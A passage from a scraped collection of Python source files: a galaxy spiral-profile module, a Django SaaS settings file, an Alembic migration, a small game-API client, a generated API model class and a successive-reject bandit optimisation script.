params['width'][arm_index]\n power = params['power'] if params['power'].nelement() == 1 else params['power'][arm_index]\n\n dx = angular_distance(θ, θ_spiral)\n\n mask = torch.exp(-(dx/width).pow(power))\n if self.modulate is not None:\n modulate = self.modulate(r=r, θ=θ, index=index, arm_index=arm_index)\n mask = mask * modulate\n\n profile = mask * self.norm(width=width, power=power)\n\n return profile, mask\n\n def __getitem__(self, index:int) -> dict:\n \"\"\"\n Returns a dictionary containing the set of parameters associated\n with the given index.\n \"\"\"\n return {k:v[index] for k,v in self.params.items()}\n\n def norm(self, power:torch.Tensor, width:torch.Tensor) -> torch.Tensor:\n \"\"\"\n Normalization factor such that the mean value is 1.\n \"\"\"\n t = torch.lgamma(1/power).exp() * (1 - torch.igammac(1/power, (math.pi / width)**power))\n return (math.pi * power) / (width * t)\n\n def sample(self, cls, isoA:torch.Tensor, arm_count:int, **kwargs):\n \"\"\"\n Generates parameter values for constructing the profile.\n\n Parameters\n ----------\n cls : class\n The galaxy class object.\n\n isoA : tensor\n The scaling factors used to rescale the base grid when generating\n the geometry. The Wa values are multiplied by this.\n\n arm_count : int\n The number of arms for each galaxy.\n\n **kwargs\n Additional arguments to pass into the sample method for the modulate\n object.\n \"\"\"\n self.params = {\n 'width': tuple(self.width(n, cls.device) for n in arm_count),\n 'power': tuple(self.power(n, cls.device) for n in arm_count),\n }\n if self.modulate is not None:\n self.modulate.sample(cls=cls, isoA=isoA, arm_count=arm_count, **kwargs)","repo_name":"bbergerud/galsyn","sub_path":"galsyn/galaxy/spiral/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":13376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73392009971","text":"\"\"\"\nBase settings to build other settings files upon.\n\"\"\"\nfrom pathlib import Path\n\nimport environ\n\nfrom one.libraries.guid.integrations import CeleryIntegration as CorrelationCeleryIntegration\n\nBASE_DIR = Path(__file__).resolve(strict=True).parent.parent.parent\n# one/\nAPPS_DIR = BASE_DIR / \"one\"\nenv = environ.Env()\n\nREAD_DOT_ENV_FILE = env.bool(\"DJANGO_READ_DOT_ENV_FILE\", default=False)\nif READ_DOT_ENV_FILE:\n # OS environment variables take precedence over variables from .env\n env.read_env(str(BASE_DIR / \".env\"))\n\n# GENERAL\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#debug\nDEBUG = env.bool(\"DJANGO_DEBUG\", False)\n# Local time zone. Choices are\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# though not all of them may be available with every OS.\n# In Windows, this must be set to your system time zone.\nTIME_ZONE = \"Asia/Ho_Chi_Minh\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#language-code\nLANGUAGE_CODE = \"en-us\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#languages\n# from django.utils.translation import gettext_lazy as _\n# LANGUAGES = [\n# ('en', _('English')),\n# ('fr-fr', _('French')),\n# ('pt-br', _('Portuguese')),\n# ]\n# https://docs.djangoproject.com/en/dev/ref/settings/#site-id\nSITE_ID = 1\n# https://docs.djangoproject.com/en/dev/ref/settings/#use-i18n\nUSE_I18N = True\n# https://docs.djangoproject.com/en/dev/ref/settings/#use-tz\nUSE_TZ = True\n# https://docs.djangoproject.com/en/dev/ref/settings/#locale-paths\nLOCALE_PATHS = [str(BASE_DIR / \"locale\")]\n\n# DATABASES\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#databases\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django_tenants.postgresql_backend\",\n \"NAME\": env(\"POSTGRES_DB\"),\n \"USER\": env(\"POSTGRES_USER\"),\n \"PASSWORD\": env(\"POSTGRES_PASSWORD\"),\n \"HOST\": env(\"POSTGRES_HOST\"),\n \"PORT\": env(\"POSTGRES_PORT\"),\n \"ATOMIC_REQUESTS\": True,\n }\n}\n# https://docs.djangoproject.com/en/stable/ref/settings/#std:setting-DEFAULT_AUTO_FIELD\nDEFAULT_AUTO_FIELD = \"django.db.models.BigAutoField\"\n# https://docs.djangoproject.com/en/4.2/ref/settings/#std-setting-DATABASE_ROUTERS\nDATABASE_ROUTERS = (\"django_tenants.routers.TenantSyncRouter\",)\n\n# URLS\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#root-urlconf\nROOT_URLCONF = \"config.urls\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#wsgi-application\nWSGI_APPLICATION = \"config.wsgi.application\"\n\n# APPS\n# ------------------------------------------------------------------------------\nSHARED_APPS = [\n # Override django.contrib.admin\n \"one.libraries.grappelli\",\n # Shared apps\n \"django_tenants\",\n \"one.business\",\n]\n\nTENANT_APPS = [\n # Django apps\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.sites\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n \"django.contrib.humanize\", # Handy template tags\n \"django.contrib.admin\",\n \"django.forms\",\n \"django.contrib.flatpages\",\n # Third party apps\n \"crispy_forms\",\n \"crispy_bootstrap5\",\n \"allauth\",\n \"allauth.account\",\n \"allauth.socialaccount\",\n \"allauth.socialaccount.providers.google\",\n \"allauth.socialaccount.providers.facebook\",\n \"rest_framework\",\n \"rest_framework.authtoken\",\n \"corsheaders\",\n \"drf_spectacular\",\n \"meta\",\n # Custom Apps\n \"one.libraries.guid\",\n \"one.users\",\n \"one.gateways.payments\",\n \"one.cms\",\n \"one.cms.ui\",\n \"one.cms.pages\",\n # Your stuff: custom apps go here\n]\n# https://docs.djangoproject.com/en/dev/ref/settings/#installed-apps\nINSTALLED_APPS = list(SHARED_APPS) + [app for app in TENANT_APPS if app not in SHARED_APPS]\n\n# AUTHENTICATION\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#authentication-backends\nAUTHENTICATION_BACKENDS = [\n \"django.contrib.auth.backends.ModelBackend\",\n \"allauth.account.auth_backends.AuthenticationBackend\",\n]\n# https://docs.djangoproject.com/en/dev/ref/settings/#auth-user-model\nAUTH_USER_MODEL = \"users.User\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#login-redirect-url\nLOGIN_REDIRECT_URL = \"users:redirect\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#login-url\nLOGIN_URL = \"account_login\"\n\n# PASSWORDS\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#password-hashers\nPASSWORD_HASHERS = [\n # https://docs.djangoproject.com/en/dev/topics/auth/passwords/#using-argon2-with-django\n \"django.contrib.auth.hashers.Argon2PasswordHasher\",\n \"django.contrib.auth.hashers.PBKDF2PasswordHasher\",\n \"django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher\",\n \"django.contrib.auth.hashers.BCryptSHA256PasswordHasher\",\n]\n# https://docs.djangoproject.com/en/dev/ref/settings/#auth-password-validators\nAUTH_PASSWORD_VALIDATORS = [\n {\"NAME\": \"django.contrib.auth.password_validation.UserAttributeSimilarityValidator\"},\n {\"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\"},\n {\"NAME\": \"django.contrib.auth.password_validation.CommonPasswordValidator\"},\n {\"NAME\": \"django.contrib.auth.password_validation.NumericPasswordValidator\"},\n]\n\n# MIDDLEWARE\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#middleware\nMIDDLEWARE = [\n \"one.libraries.guid.middleware.guid_middleware\", # noqa\n \"one.business.middlewares.TenantMainMiddleware\", # Must be first\n \"django.middleware.security.SecurityMiddleware\",\n \"corsheaders.middleware.CorsMiddleware\",\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.locale.LocaleMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n \"allauth.account.middleware.AccountMiddleware\",\n]\n\n# STATIC\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#static-root\nSTATIC_ROOT = str(BASE_DIR / \"staticfiles\")\n# https://docs.djangoproject.com/en/dev/ref/settings/#static-url\nSTATIC_URL = \"/static/\"\n# https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#std:setting-STATICFILES_DIRS\nSTATICFILES_DIRS = [str(APPS_DIR / \"static\")]\n# https://docs.djangoproject.com/en/dev/ref/contrib/staticfiles/#staticfiles-finders\nSTATICFILES_FINDERS = [\n \"django.contrib.staticfiles.finders.FileSystemFinder\",\n \"django.contrib.staticfiles.finders.AppDirectoriesFinder\",\n]\n\n# MEDIA\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#media-root\nMEDIA_ROOT = str(APPS_DIR / \"media\")\n# https://docs.djangoproject.com/en/dev/ref/settings/#media-url\nMEDIA_URL = \"/media/\"\n\n# TEMPLATES\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#templates\nTEMPLATES = [\n {\n # https://docs.djangoproject.com/en/dev/ref/settings/#std:setting-TEMPLATES-BACKEND\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n # https://docs.djangoproject.com/en/dev/ref/settings/#dirs\n \"DIRS\": [str(APPS_DIR / \"templates\")],\n # https://docs.djangoproject.com/en/dev/ref/settings/#app-dirs\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n # https://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.i18n\",\n \"django.template.context_processors.media\",\n \"django.template.context_processors.static\",\n \"django.template.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"one.libraries.allauth.context_processors.allauth_settings\",\n ],\n },\n }\n]\n\n# https://docs.djangoproject.com/en/dev/ref/settings/#form-renderer\nFORM_RENDERER = \"django.forms.renderers.TemplatesSetting\"\n\n# http://django-crispy-forms.readthedocs.io/en/latest/install.html#template-packs\nCRISPY_TEMPLATE_PACK = \"bootstrap5\"\nCRISPY_ALLOWED_TEMPLATE_PACKS = \"bootstrap5\"\n\n# FIXTURES\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#fixture-dirs\nFIXTURE_DIRS = (str(APPS_DIR / \"fixtures\"),)\n\n# SECURITY\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#session-cookie-httponly\nSESSION_COOKIE_HTTPONLY = True\n# https://docs.djangoproject.com/en/dev/ref/settings/#csrf-cookie-httponly\nCSRF_COOKIE_HTTPONLY = True\n# https://docs.djangoproject.com/en/dev/ref/settings/#x-frame-options\nX_FRAME_OPTIONS = \"DENY\"\n\n# EMAIL\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#email-backend\nEMAIL_BACKEND = env(\n \"DJANGO_EMAIL_BACKEND\",\n default=\"django.core.mail.backends.smtp.EmailBackend\",\n)\n# https://docs.djangoproject.com/en/dev/ref/settings/#email-timeout\nEMAIL_TIMEOUT = 5\n\n# ADMIN\n# ------------------------------------------------------------------------------\n# Django Admin URL.\nADMIN_URL = \"admin/\"\n# https://docs.djangoproject.com/en/dev/ref/settings/#admins\nADMINS = [(\"\"\"Bin Nguyen\"\"\", \"support@risotech.vn\")]\n# https://docs.djangoproject.com/en/dev/ref/settings/#managers\nMANAGERS = ADMINS\n# https://cookiecutter-django.readthedocs.io/en/latest/settings.html#other-environment-settings\n# Force the `admin` sign in process to go through the `django-allauth` workflow\nDJANGO_ADMIN_FORCE_ALLAUTH = env.bool(\"DJANGO_ADMIN_FORCE_ALLAUTH\", default=False)\n\n# LOGGING\n# ------------------------------------------------------------------------------\n# https://docs.djangoproject.com/en/dev/ref/settings/#logging\n# See https://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n \"version\": 1,\n \"disable_existing_loggers\": False,\n \"formatters\": {\n \"verbose\": {\n \"format\": \"%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s\",\n },\n },\n \"handlers\": {\n \"console\": {\n \"level\": \"DEBUG\",\n \"class\": \"logging.StreamHandler\",\n \"formatter\": \"verbose\",\n }\n },\n \"root\": {\"level\": \"INFO\", \"handlers\": [\"console\"]},\n}\n\n# Celery\n# ------------------------------------------------------------------------------\nif USE_TZ:\n # https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-timezone\n CELERY_TIMEZONE = TIME_ZONE\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-broker_url\nCELERY_BROKER_URL = env(\"CELERY_BROKER_URL\")\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-result_backend\nCELERY_RESULT_BACKEND = CELERY_BROKER_URL\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#result-extended\nCELERY_RESULT_EXTENDED = True\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#result-backend-always-retry\n# https://github.com/celery/celery/pull/6122\nCELERY_RESULT_BACKEND_ALWAYS_RETRY = True\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#result-backend-max-retries\nCELERY_RESULT_BACKEND_MAX_RETRIES = 10\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-accept_content\nCELERY_ACCEPT_CONTENT = [\"json\"]\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-task_serializer\nCELERY_TASK_SERIALIZER = \"json\"\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std:setting-result_serializer\nCELERY_RESULT_SERIALIZER = \"json\"\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#task-time-limit\n# TODO: set to whatever value is adequate in your circumstances\nCELERY_TASK_TIME_LIMIT = 5 * 60\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#task-soft-time-limit\n# TODO: set to whatever value is adequate in your circumstances\nCELERY_TASK_SOFT_TIME_LIMIT = 60\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#beat-scheduler\nCELERY_BEAT_SCHEDULER = \"tenant_schemas_celery.scheduler.TenantAwareScheduler\"\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#worker-send-task-events\nCELERY_WORKER_SEND_TASK_EVENTS = True\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std-setting-task_send_sent_event\nCELERY_TASK_SEND_SENT_EVENT = True\n# https://docs.celeryq.dev/en/stable/userguide/configuration.html#std-setting-task_default_queue\nCELERY_TASK_DEFAULT_QUEUE = env.str(\"CELERY_TASK_DEFAULT_QUEUE\", \"celery\")\n\n# django-allauth\n# ------------------------------------------------------------------------------\nACCOUNT_ALLOW_REGISTRATION = env.bool(\"DJANGO_ACCOUNT_ALLOW_REGISTRATION\", True)\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\nACCOUNT_AUTHENTICATION_METHOD = \"username\"\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\nACCOUNT_EMAIL_REQUIRED = True\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\nACCOUNT_EMAIL_VERIFICATION = \"mandatory\"\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\nACCOUNT_ADAPTER = \"one.libraries.allauth.adapters.AccountAdapter\"\n# https://django-allauth.readthedocs.io/en/latest/forms.html\nACCOUNT_FORMS = {\"signup\": \"one.libraries.allauth.forms.UserSignupForm\"}\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\nSOCIALACCOUNT_ADAPTER = \"one.libraries.allauth.adapters.SocialAccountAdapter\"\n# https://django-allauth.readthedocs.io/en/latest/forms.html\nSOCIALACCOUNT_FORMS = {\"signup\": \"one.libraries.allauth.forms.UserSocialSignupForm\"}\n# https://django-allauth.readthedocs.io/en/stable/advanced.html#admin\nDJANGO_ADMIN_FORCE_ALLAUTH = True\n# https://docs.allauth.org/en/latest/socialaccount/providers/index.html\nACCOUNT_DEFAULT_HTTP_PROTOCOL = \"https\"\n\nSOCIALACCOUNT_PROVIDERS = {\n \"google\": {\n \"SCOPE\": [\n \"profile\",\n \"email\",\n \"https://www.googleapis.com/auth/adwords\",\n ],\n \"AUTH_PARAMS\": {\n \"access_type\": \"offline\",\n },\n },\n \"facebook\": {\n \"METHOD\": \"oauth2\",\n \"SDK_URL\": \"//connect.facebook.net/{locale}/sdk.js\",\n \"SCOPE\": [\n \"user_birthday\",\n \"user_hometown\",\n \"user_location\",\n \"user_likes\",\n \"user_events\",\n \"user_photos\",\n \"user_videos\",\n \"user_friends\",\n \"user_status\",\n \"user_tagged_places\",\n \"user_posts\",\n \"user_gender\",\n \"user_link\",\n \"user_age_range\",\n \"email\",\n \"read_insights\",\n \"publish_video\",\n \"catalog_management\",\n \"manage_pages\",\n \"pages_manage_cta\",\n \"pages_manage_instant_articles\",\n \"pages_show_list\",\n \"publish_pages\",\n \"read_page_mailboxes\",\n \"ads_management\",\n \"ads_read\",\n \"business_management\",\n \"pages_messaging\",\n \"pages_messaging_phone_number\",\n \"pages_messaging_subscriptions\",\n \"instagram_basic\",\n \"instagram_manage_comments\",\n \"instagram_manage_insights\",\n \"publish_to_groups\",\n \"groups_access_member_info\",\n \"leads_retrieval\",\n \"whatsapp_business_management\",\n \"attribution_read\",\n \"public_profile\",\n ],\n \"AUTH_PARAMS\": {\"auth_type\": \"reauthenticate\"},\n \"INIT_PARAMS\": {\"cookie\": True},\n \"FIELDS\": [\"id\", \"first_name\", \"last_name\", \"middle_name\", \"name\", \"name_format\", \"picture\", \"short_name\"],\n \"EXCHANGE_TOKEN\": True,\n \"LOCALE_FUNC\": lambda request: \"en_US\",\n \"VERIFIED_EMAIL\": False,\n \"VERSION\": \"v18.0\",\n },\n}\n\n# django-rest-framework\n# -------------------------------------------------------------------------------\n# django-rest-framework - https://www.django-rest-framework.org/api-guide/settings/\nREST_FRAMEWORK = {\n \"DEFAULT_AUTHENTICATION_CLASSES\": (\n \"rest_framework.authentication.SessionAuthentication\",\n \"rest_framework.authentication.TokenAuthentication\",\n ),\n \"DEFAULT_PERMISSION_CLASSES\": (\"rest_framework.permissions.IsAuthenticated\",),\n \"DEFAULT_SCHEMA_CLASS\": \"drf_spectacular.openapi.AutoSchema\",\n \"DEFAULT_RENDERER_CLASSES\": [\n \"one.utils.rest_framework.renderers.JSONRenderer\",\n \"one.utils.rest_framework.renderers.BrowsableAPIRenderer\",\n ],\n \"EXCEPTION_HANDLER\": \"one.utils.rest_framework.exceptions.drf_exception_handler\",\n}\n\n# django-cors-headers - https://github.com/adamchainz/django-cors-headers#setup\nCORS_URLS_REGEX = r\"^/api/.*$\"\n\n# By Default swagger ui is available only to admin user(s). You can change permission classes to change that\n# See more configuration options at https://drf-spectacular.readthedocs.io/en/latest/settings.html#settings\nSPECTACULAR_SETTINGS = {\n \"TITLE\": \"Django Software as a Service API\",\n \"DESCRIPTION\": \"Documentation of API endpoints of Django Software as a Service\",\n \"VERSION\": \"1.0.0\",\n \"SERVE_PERMISSIONS\": [\"rest_framework.permissions.IsAdminUser\"],\n}\n# Django Tenants\n# ------------------------------------------------------------------------------\nTENANT_MODEL = \"business.Business\"\nTENANT_DOMAIN_MODEL = \"business.Domain\"\nSHOW_PUBLIC_IF_NO_TENANT_FOUND = True\n\n# Flatpage\n# ------------------------------------------------------------------------------\nAPPEND_SLASH = True\nCMS_ENABLED = False\n\n# GUID\n# ------------------------------------------------------------------------------\nDJANGO_GUID = {\n \"INTEGRATIONS\": [\n CorrelationCeleryIntegration(\n log_parent=True,\n )\n ],\n}\n\n\n# Your stuff...\n# ------------------------------------------------------------------------------\n","repo_name":"riso-tech/django-saas","sub_path":"config/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":18795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"28203843396","text":"\"\"\"empty message\n\nRevision ID: 53299b87b12d\nRevises: ed657e16ce20\nCreate Date: 2017-05-08 18:29:02.360589\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '53299b87b12d'\ndown_revision = 'ed657e16ce20'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('account',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('user', sa.Integer(), nullable=True),\n sa.Column('label', sa.String(length=255), nullable=True),\n sa.Column('bank', sa.String(length=255), nullable=True),\n sa.Column('iban', sa.String(length=34), nullable=True),\n sa.Column('bic', sa.String(length=12), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('iban')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('account')\n # ### end Alembic commands ###\n","repo_name":"tferreira/piggydime","sub_path":"migrations/versions/53299b87b12d_.py","file_name":"53299b87b12d_.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"4602907902","text":"import httpx\nfrom .models.song import AlbumList\nfrom .utils import PeroPeroUtils\n\nclass PeroPeroAPI:\n def __init__(self,url=\"https://service.peropero.net:4396\") -> None:\n self.url = url\n self._song_list:AlbumList = None\n \n async def getList(self):\n if self._song_list:\n return self._song_list\n return await self.fetchList()\n\n async def fetchList(self):\n async with httpx.AsyncClient() as client:\n response = await client.post(self.url + \"/api/album/getList\")\n self._song_list = AlbumList(response.json())\n return self._song_list\n \n async def getPCTop(self,uid:str,difficulty:int):\n return await PeroPeroUtils().getPCTop(uid,difficulty)\n\n async def getPhoneTop(self,uid:str,difficulty:int):\n return await PeroPeroUtils().getPhoneTop(uid,difficulty)","repo_name":"0kq-github/PeroPero.py","sub_path":"PeroPero/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33896633823","text":"from typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n from ..models.text_component import TextComponent\n\n\nT = TypeVar(\"T\", bound=\"StandardTextPairBlock\")\n\n\n@attr.s(auto_attribs=True)\nclass StandardTextPairBlock:\n r\"\"\"The A+ Content standard label and description block, comprised of a pair of text components.\n\n Attributes:\n label (Union[Unset, TextComponent]): Rich text content.\n description (Union[Unset, TextComponent]): Rich text content.\n \"\"\"\n\n label: Union[Unset, \"TextComponent\"] = UNSET\n description: Union[Unset, \"TextComponent\"] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n label: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.label, Unset):\n label = self.label.to_dict()\n\n description: Union[Unset, Dict[str, Any]] = UNSET\n if not isinstance(self.description, Unset):\n description = self.description.to_dict()\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update({})\n if label is not UNSET:\n field_dict[\"label\"] = label\n if description is not UNSET:\n field_dict[\"description\"] = description\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n from ..models.text_component import TextComponent\n\n d = src_dict.copy()\n _label = d.pop(\"label\", UNSET)\n label: Union[Unset, TextComponent]\n if isinstance(_label, Unset):\n label = UNSET\n else:\n label = TextComponent.from_dict(_label)\n\n _description = d.pop(\"description\", UNSET)\n description: Union[Unset, TextComponent]\n if isinstance(_description, Unset):\n description = UNSET\n else:\n description = TextComponent.from_dict(_description)\n\n result = cls(\n label=label,\n description=description,\n )\n\n result.additional_properties = d\n return result\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"milyord/sp-api","sub_path":"sp/aplus_content_2020_11_01/models/standard_text_pair_block.py","file_name":"standard_text_pair_block.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28076469294","text":"\"\"\"\nImplementation of the successive reject algorithm for fixed budget stochastic graph function optimisation\n\nAlgorithm: successive reject by Jean-Yves Audibert et. al. \"Best Arm Identification in Multi-Armed Bandits\"\n\nAdaptation for fixed budget stochastic graph function optimisation: Consider each node in the graph as\none arm of a big bandit problem (ignoring the graph structure), apply the successive reject algorithm\non this bandit problem to approximate the best node given a fixed budget.\n\nPlease quote our paper in your work: T Nguyen, Y Abbasi-Yadkori, B Kveton, A Shameli, A Rao.\n\"Sample Efficient Graph-Based Optimization with Noisy Observations.\"\nArtificial Intelligence and Statistics. 2019.\n\n\"\"\"\nimport pickle\nimport random\nimport math\nimport time\nfrom datetime import datetime\nimport argparse\nimport numpy as np\n\n\nparser = argparse.ArgumentParser(description='FIXED BUDGET 1BANDIT SUCCESSIVE REJECT')\nparser.add_argument('--filename', type=str, default='synthetic_graph_r10.pkl', metavar='F',\n help='Dataset filename. One of the files in .\\data directory. Default: synthetic_graph_r10.pkl')\nparser.add_argument('--n-trials', type=int, default=10, metavar='S',\n help='Number of trials to run. Program returns average result. Default: 10')\nparser.add_argument('--budget', type=int, default=1000, metavar='S',\n help='Total budget (number of samples). Default: 1000')\nparser.add_argument('--verbose', type=int, default=2, metavar='V',\n help='Level of verbose (1 - 3). Default: 2')\nargs = parser.parse_args()\n\n\n# read data\nt0 = time.time()\nrandom.seed(1) # fixed random seed\nwith open('data/' + args.filename, \"rb\") as f_in:\n f, A = pickle.load(f_in)\n\n\n# find global maximum and print out (only for information)\nn_nodes = len(f)\nrank = sorted(range(n_nodes), key=lambda x: f[x], reverse=True) # rank[0] = max_node, rank[1] = second max etc.\n\nprint('\\ndataset={}, n_nodes={}, global maximum f_max={:.4f} is at node {}'.format(\n args.filename, n_nodes, f[rank[0]], rank[0]))\nprint(\"1BANDIT SUCCESSIVE REJECT params: n_trials={}, budget={}\\n\".format(args.n_trials, args.budget))\n\n\ndef sample_f(x): # return a sample of f for node x, increase n_samples\n global f, n_samples\n f_val = 1. if random.uniform(0., 1.) <= f[x] else 0. # Bernoulli with prob = f[x]\n n_samples += 1\n return f_val\n\n\ndef pull(x, n_pulls=1): # pull node x n_pulls times and update mean mf[x]\n global nf, mf\n for _ in range(n_pulls):\n fx = sample_f(x)\n nf[x] += 1\n mfx0 = mf[x]\n # update mean incrementally\n mf[x] = (fx + (nf[x] - 1) * mfx0) / nf[x]\n\n\n# definition as in the original paper\nlogK = 0.5 + sum([1. / i for i in range(2, n_nodes + 1)])\nnk = lambda k: 0 if k <= 0 else math.ceil((args.budget - n_nodes) / logK / (n_nodes + 1 - k))\n\n\ndef successive_reject():\n\n active_nodes = [x for x in range(n_nodes)]\n random.shuffle(active_nodes)\n\n # if budget is smaller than number of arms\n # -> use all budget in the first round, return arms with empirical max\n if args.budget <= n_nodes:\n pull_list = random.sample(active_nodes, args.budget)\n for x in pull_list:\n pull(x)\n return max(pull_list, key=lambda x: mf[x])\n\n k = 1 # phase k <- 1 ... n_nodes - 1\n while True:\n k0 = k\n pull_budget_per_arm = 0\n while pull_budget_per_arm == 0 and k < n_nodes:\n pull_budget_per_arm = nk(k) - nk(k - 1)\n k += 1\n\n n_no_pulls = k - k0 - 1\n if n_no_pulls > 0:\n # for n_no_pulls rounds there were no pull action, just rejects,\n # so we combine all reject rounds into one below to save time\n active_nodes.sort(key=lambda x: mf[x])\n active_nodes = active_nodes[n_no_pulls:]\n\n if pull_budget_per_arm > 0:\n max_n_pull = (args.budget - n_samples) // pull_budget_per_arm\n if max_n_pull < len(active_nodes):\n pull_list = random.sample(active_nodes, max_n_pull)\n else:\n pull_list = active_nodes\n for x in pull_list:\n pull(x, n_pulls=pull_budget_per_arm)\n\n reject_node = min(active_nodes, key=lambda x: mf[x])\n active_nodes.remove(reject_node) # reject the smallest mean node\n\n if args.verbose > 2: # print log\n print('Phase #{}: n_samples={}, pull_budget_per_arm={}, active_nodes: len={} {}'.format(\n k-1, n_samples, pull_budget_per_arm, len(active_nodes), '' if len(active_nodes) > 10 else active_nodes))\n\n if k == n_nodes or n_samples >= args.budget:\n return max(active_nodes, key=lambda x: mf[x])\n\n\n# ---------------- MAIN ----------------\n\nresults = [] # list of results for each trial\n\nfor r in range(args.n_trials):\n\n # reset the sampler for each trial\n n_samples = 0 # total number of queries to obtain function values\n nf = [0 for _ in range(n_nodes)] # nf[i] number of samples at node i, sum(nf) = n_samples\n mf = [0. for _ in range(n_nodes)] # mf[i] empirical mean of samples of f at node i\n\n max_node = successive_reject()\n max_node_rank = rank.index(max_node) + 1\n results.append({'max_node': max_node, 'max_node_value': f[max_node], 'max_node_rank': max_node_rank,\n 'true_max_node': rank[0], 'true_max_node_value': f[rank[0]]})\n if args.verbose > 1:\n print('Trial #{}: n_samples = {}, f^ = {:.4f} @ node = {}, rank = {}, f* - f^ = {:.4f}'.format(\n r + 1, n_samples, f[max_node], max_node, max_node_rank, f[rank[0]] - f[max_node]))\n if args.verbose > 2:\n m = sorted(range(n_nodes), key=lambda z: -mf[z])\n for p in 